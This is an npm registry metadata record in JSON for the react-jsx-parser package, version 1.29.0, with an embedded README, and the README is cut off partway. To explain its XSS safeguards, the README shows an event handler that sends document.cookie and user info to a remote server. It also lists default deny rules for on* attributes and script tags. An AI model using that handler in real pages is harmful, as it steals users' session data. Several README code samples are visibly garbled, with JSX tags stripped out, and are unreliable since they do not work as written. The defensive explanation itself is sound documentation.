{"_id":"@atomic-reactor/react-jsx-parser","name":"@atomic-reactor/react-jsx-parser","dist-tags":{"latest":"1.29.0"},"versions":{"1.29.0":{"author":{"name":"Troy Alford"},"bugs":{"url":"https://github.com/Atomic-Reactor/react-jsx-parser/issues"},"description":"A React component which can parse JSX and output rendered React Components","keywords":["react","jsx"],"license":"MIT","main":"dist/umd/react-jsx-parser.min.js","types":"dist/index.d.ts","name":"@atomic-reactor/react-jsx-parser","repository":{"type":"git","url":"git+https://github.com/Atomic-Reactor/react-jsx-parser.git"},"version":"1.29.0","dependencies":{"@types/jsdom":"^16.2.6","acorn":"^8.0.5","acorn-jsx":"^5.3.1","browserslist":"^4.14.5","core-js":"^3.8.3","@types/react":"^17.0.1","@types/react-dom":"^17.0.0"},"devDependencies":{"@babel/core":"^7.12.13","@babel/plugin-proposal-class-properties":"^7.12.13","@babel/plugin-transform-typescript":"^7.12.13","@babel/preset-env":"^7.12.13","@babel/preset-react":"^7.12.13","@babel/preset-typescript":"^7.12.13","@babel/runtime-corejs3":"^7.12.13","@types/acorn":"^4.0.5","@types/enzyme":"^3.10.8","@types/jest":"^26.0.20","@typescript-eslint/eslint-plugin":"^4.14.2","@typescript-eslint/parser":"^4.14.2","babel-core":"^7.0.0-bridge.0","babel-jest":"^26.6.3","babel-loader":"^8.2.2","concurrently":"^5.3.0","cross-env":"^7.0.3","enzyme":"^3.11.0","enzyme-adapter-react-16":"^1.15.6","eslint":"^7.19.0","eslint-config-airbnb":"^18.2.1","eslint-plugin-import":"^2.22.1","eslint-plugin-jsx-a11y":"^6.4.1","eslint-plugin-react":"^7.22.0","eslint-plugin-react-hooks":"^4.2.0","jest":"^26.6.3","jest-cli":"^26.6.3","mkdirp":"^1.0.4","postinstall-postinstall":"^2.1.0","react":"^16","react-dom":"^16","source-map-explorer":"^2.5.2","terser-webpack-plugin":"^5.1.1","typescript":"^4.1.3","webpack":"^5.21.2","webpack-cli":"^4.5.0","webpack-dev-server":"^3.11.2"},"optionalDependencies":{"@types/react":"^17.0.1","@types/react-dom":"^17.0.0"},"resolutions":{"@types/react":"^17.0.1","@types/react-dom":"^17.0.0","browserslist":"^4.14.5","extend":"^3.0.2","merge":"^1.2.1"},"scripts":{"build":"npx patch-package && yarn types && cross-env NODE_ENV=production webpack","develop":"NODE_ENV=production concurrently -n build,ts,demo -c green,cyan,yellow \"yarn webpack --watch\" \"yarn types --watch\" \"yarn webpack serve --config ./webpack.demo.js\"","lint":"yarn eslint --ext .js,.ts,.tsx source/","postinstall":"npx patch-package","prebuild":"mkdirp ./dist && rm -rf ./dist/*","sourcemap":"yarn build && source-map-explorer ./dist/es5/react-jsx-parser.min.js","test":"yarn lint && jest","types":"tsc -p ./tsconfig.json -d --emitDeclarationOnly"},"contributors":[{"name":"akucheruk-vareger","url":"https://github.com/akucheruk-vareger"},{"name":"Alexander Sakhaev","url":"https://github.com/alsakhaev"},{"name":"Anatolii Kucheruk","url":"https://github.com/anatollix"},{"name":"Arunoda Susiripala","url":"https://github.com/arunoda"},{"name":"chunminglu","url":"https://github.com/chunminglu"},{"name":"Daniel Lee","url":"https://github.com/dan-lee"},{"name":"Jean-Louis Dinh","url":"https://github.com/jldinh"},{"name":"Jeff Wells","url":"https://github.com/jeffmwells"},{"name":"Joe Duncan","url":"https://github.com/joeduncan"},{"name":"Jonathan R Wickens","url":"https://github.com/jwickens"},{"name":"Kevin Ho","url":"https://github.com/hokevins"},{"name":"Kim Jeker","url":"https://github.com/kije"},{"name":"Knut Sveidqvist","url":"https://github.com/knsv"},{"name":"Levi Schuck","url":"https://github.com/LeviSchuck"},{"name":"Lukas Klein","url":"https://github.com/lukasklein"},{"name":"Mathieu Jouhet","url":"https://github.com/daformat"},{"name":"Matthias Geisler","url":"https://github.com/BitPogo"},{"name":"Moritz Schwörer","url":"https://github.com/mosch"},{"name":"Pranab Gupta","url":"https://github.com/Pranab16"},{"name":"Sandro","url":"https://github.com/saendu"},{"name":"Tim Kindberg","url":"https://github.com/timkindberg"},{"name":"Tim Suchanek","url":"https://github.com/timsuchanek"},{"name":"Tomasz Kopacki","url":"https://github.com/tk-o"},{"name":"tschicke-brown","url":"https://github.com/tschicke-brown"}],"gitHead":"d20ae3766ec4530240f7bdebcd880c026bc33e88","homepage":"https://github.com/Atomic-Reactor/react-jsx-parser#readme","_id":"@atomic-reactor/react-jsx-parser@1.29.0","_nodeVersion":"18.16.0","_npmVersion":"9.5.1","dist":{"integrity":"sha512-pABWfK9PzuX4POGkH5nlxlbPoR8y2zbi+mC96QfIEWNceB+PaZsOSTpEst3Nceu0iewvbjlooGy58LgBnkhcKg==","shasum":"65d8a9058f474763172bde8b3dc0e7c4a4bed1fa","tarball":"https://registry.npmjs.org/@atomic-reactor/react-jsx-parser/-/react-jsx-parser-1.29.0.tgz","fileCount":17,"unpackedSize":2668042,"signatures":[{"keyid":"SHA256:jl3bwswu80PjjokCgh0o2w5c2U4LhQAE57gj9cz1kzA","sig":"MEUCIDD5yO93Yb1QZLj3Vt7qSHZRfEx8NPahJObiNGh87mKxAiEA6hMfA0bIxN5EAfC9eJq71H/gyxYewlSGsGXGBM8DNm8="}],"npm-signature":"-----BEGIN PGP SIGNATURE-----\r\nVersion: OpenPGP.js v4.10.10\r\nComment: https://openpgpjs.org\r\n\r\nwsFzBAEBCAAGBQJkSb4RACEJED1NWxICdlZqFiEECWMYAoorWMhJKdjhPU1b\r\nEgJ2VmpO/Q//Z0QcvoTfAyK6Xl+YuO2WxOcUylN6RjBD1XuK7PomNRZE1GAL\r\nm1bwy81kJZeoDLRfgs2gRpnO6XkgeLnGhaQHt3Q4eOQhZHtxmoxwBjAnMGgW\r\nDcdeyglzoSdjjAm6h1pUBMHbnPEFFQ4CvofWU/2DEe+XPEU45Xto24H+YCxk\r\nsgntBua4nrRFgNApwxqHNB2yFWTI/q9P+1xx9rp+xfoCTGKlGyomT7SJ1mzg\r\nYH4oBf1QSCe7s3g5bth4hVdNlxmOVcbh9Ppx0y9nPoU8ehL7vIbhlerWzmC+\r\nDO4l27RKUqbvbLpGyM0Lzstmkn0QeieyULYEx0cIUoZ4F427Iba+QbJBNMEN\r\n+iavw2v5ONXwvz6QW4JD9EW8ZDiSY8FeLSfPyefLUiFjaB8ekODD0wNdZUVk\r\nBvElX8BDA1hO9S/LUx4yfTwSOpG0steiHt8yCM2gIEb7g4f6zef8K3VpLRN7\r\nKTKPOFUP0IhuyABMnwbXPu+U+DUkz5pcDK6Ougmp/emiqcLc8wUkSXL3Mu8h\r\n/+nkd4cIPCpmnl35+Nt6Ts9YXLyDe9nSq7EwGE+5XtSplRv3qeHGe1JPLgIW\r\nVx6q2c/ilDOdZ3OKr2EegKluMn3gM9r0rH6a/1ycYxrMqhhuYF54TEBUNfbW\r\njaxSZYy2XEx5WHNMEUnAggkMJgyKBH1Q12s=\r\n=MJJm\r\n-----END PGP SIGNATURE-----\r\n"},"_npmUser":{"name":"jdillick","email":"john@dillick.us"},"directories":{},"maintainers":[{"name":"camdagr8","email":"ctullos@illumifi.net"},{"name":"jdillick","email":"john@dillick.us"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages","tmp":"tmp/react-jsx-parser_1.29.0_1682554385291_0.13396189899373456"},"_hasShrinkwrap":false}},"time":{"created":"2023-04-27T00:13:05.290Z","1.29.0":"2023-04-27T00:13:05.527Z","modified":"2023-04-27T00:13:05.785Z"},"maintainers":[{"name":"camdagr8","email":"ctullos@illumifi.net"},{"name":"jdillick","email":"john@dillick.us"}],"description":"A React component which can parse JSX and output rendered React Components","homepage":"https://github.com/Atomic-Reactor/react-jsx-parser#readme","keywords":["react","jsx"],"repository":{"type":"git","url":"git+https://github.com/Atomic-Reactor/react-jsx-parser.git"},"contributors":[{"name":"akucheruk-vareger","url":"https://github.com/akucheruk-vareger"},{"name":"Alexander Sakhaev","url":"https://github.com/alsakhaev"},{"name":"Anatolii Kucheruk","url":"https://github.com/anatollix"},{"name":"Arunoda Susiripala","url":"https://github.com/arunoda"},{"name":"chunminglu","url":"https://github.com/chunminglu"},{"name":"Daniel Lee","url":"https://github.com/dan-lee"},{"name":"Jean-Louis Dinh","url":"https://github.com/jldinh"},{"name":"Jeff Wells","url":"https://github.com/jeffmwells"},{"name":"Joe Duncan","url":"https://github.com/joeduncan"},{"name":"Jonathan R Wickens","url":"https://github.com/jwickens"},{"name":"Kevin Ho","url":"https://github.com/hokevins"},{"name":"Kim Jeker","url":"https://github.com/kije"},{"name":"Knut Sveidqvist","url":"https://github.com/knsv"},{"name":"Levi Schuck","url":"https://github.com/LeviSchuck"},{"name":"Lukas Klein","url":"https://github.com/lukasklein"},{"name":"Mathieu Jouhet","url":"https://github.com/daformat"},{"name":"Matthias Geisler","url":"https://github.com/BitPogo"},{"name":"Moritz Schwörer","url":"https://github.com/mosch"},{"name":"Pranab Gupta","url":"https://github.com/Pranab16"},{"name":"Sandro","url":"https://github.com/saendu"},{"name":"Tim Kindberg","url":"https://github.com/timkindberg"},{"name":"Tim Suchanek","url":"https://github.com/timsuchanek"},{"name":"Tomasz Kopacki","url":"https://github.com/tk-o"},{"name":"tschicke-brown","url":"https://github.com/tschicke-brown"}],"author":{"name":"Troy Alford"},"bugs":{"url":"https://github.com/Atomic-Reactor/react-jsx-parser/issues"},"license":"MIT","readme":"# react-jsx-parser [![CircleCI][circle-ci-badge]](https://circleci.com/gh/TroyAlford/react-jsx-parser) [![Version][npm-version]][npm-link] [![NPM Downloads][npm-downloads]][npm-link] [![License][npm-license]](https://github.com/TroyAlford/react-jsx-parser/blob/master/LICENSE)\n\n[circle-ci-badge]: https://circleci.com/gh/TroyAlford/react-jsx-parser.svg?style=svg\n[npm-version]: https://img.shields.io/npm/v/react-jsx-parser.svg\n[npm-downloads]: https://img.shields.io/npm/dt/react-jsx-parser.svg\n[npm-license]: https://img.shields.io/npm/l/react-jsx-parser.svg\n[npm-link]: https://www.npmjs.com/package/react-jsx-parser\n\nA React component which can parse JSX and output rendered React Components.\n\n## Basic Usage - Injecting JSX as a String\n```javascript\nimport React from 'react'\nimport JsxParser from 'react-jsx-parser'\nimport Library from 'some-library-of-components'\n\nclass InjectableComponent extends Component {\n static defaultProps = {\n eventHandler: () => {}\n }\n // ... inner workings of InjectableComponent\n}\n\nconst MyComponent = () => (\n { /* ... do stuff ... */ },\n }}\n components={{ InjectableComponent, Library }}\n jsx={`\n

Header

\n \n \n ((data) =>
{data.name}
)\n `}\n />\n)\n```\n\nBecause `InjectableComponent` is passed into the `JsxParser.props.components` prop, it is treated as a known element\ntype, and created using `React.createElement(...)` when parsed out of the JSX. You can also pass in a whole collection\nof components, as shown by the `Library` binding, and then access the individual items with `LibraryName.ComponentName`.\n\nFinally, a note about property bindings. The `JsxParser` can handle several types of binding:\n - implicit `true` bindings, such as `` (equivalent to `truthyProp={true}`)\n - string-value binding, such as `stringProp=\"foo\"`\n - expression-binding, such as `calc={1 + 1}`\n - named-value binding, such as `eventHandler={myEventHandler}` (note that this requires a match in `bindings`)\n - simple [single statement arrow expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#basic_syntax) `(item) =>

{item.name}

`\n\nThe component **_does not_** support inline function declarations, such as:\n - `onClick={function (event) { /* do stuff */ }}`, or\n - `onKeyPress={event => { /* do stuff */}}`\n - Function or arrow functions with bodies `() => { return

This will not work

}`\n\nThis is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:\n```javascript\n {\n fetch('/some/remote/server', {\n body: JSON.stringify({ cookies: document.cookie, userInfo })\n })\n }}\n/>\n```\n\n## Advanced Usage - Injecting Dynamic JSX\n```javascript\n// Import desired set of components\nimport { ComponentA, ComponentB } from 'somePackage/Components'\nimport ComponentC from 'somePackage/ComponentC'\nimport ComponentD from 'somePackage/ComponentD'\n...\n// Load an HTML or XML fragment from a remote API\nconst dynamicHtml = loadRemoteData()\n...\n// Within your component's render method, bind these components and the fragment as props\n\n```\n\nAny `ComponentA`, `ComponentB`, `ComponentC` or `ComponentD` tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by `React`.\n\n_Note:_ Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.\n\n## Advanced Usage - HTML & Self-Closing Tags\nWhen rendering HTML, standards-adherent editors will render `img`, `hr`, `br`, and other\n[void elements](https://www.w3.org/TR/2011/WD-html-markup-20110113/syntax.html#void-elements) with no trailing `/>`. While this is valid HTML, it is _not_ valid JSX. If you wish to opt-in to a more HTML-like parsing style, set the `autoCloseVoidElements` prop to `true`.\n\n### Example:\n```jsx\n//
has no closing tag, which is valid HTML, but not valid JSX\n
Foo
\" />\n// Renders: null\n\n//
is invalid HTML, but valid JSX\n
Foo
\" />\n// Renders:
Foo
\n\n// This is valid HTML, and the `autoCloseVoidElements` prop allows it to render\n
Foo
\" />\n// Renders:
Foo
\n\n// This would work in a browser, but will no longer parse with `autoCloseVoidElements`\n
Foo
\" />\n// Renders: null\n```\n\n## PropTypes / Settings\n```javascript\nJsxParser.defaultProps = {\n allowUnknownElements: true, // by default, allow unrecognized elements\n // if false, unrecognized elements like are omitted and reported via onError\n\n autoCloseVoidElements: false, // by default, unclosed void elements will not parse. See examples\n\n bindings: {}, // by default, do not add any additional bindings\n\n blacklistedAttrs: [/^on.+/i], // default: removes `on*` attributes (onClick, onChange, etc.)\n // any attribute name which matches any of these RegExps will be omitted entirely\n\n blacklistedTags: ['script'], // by default, removes all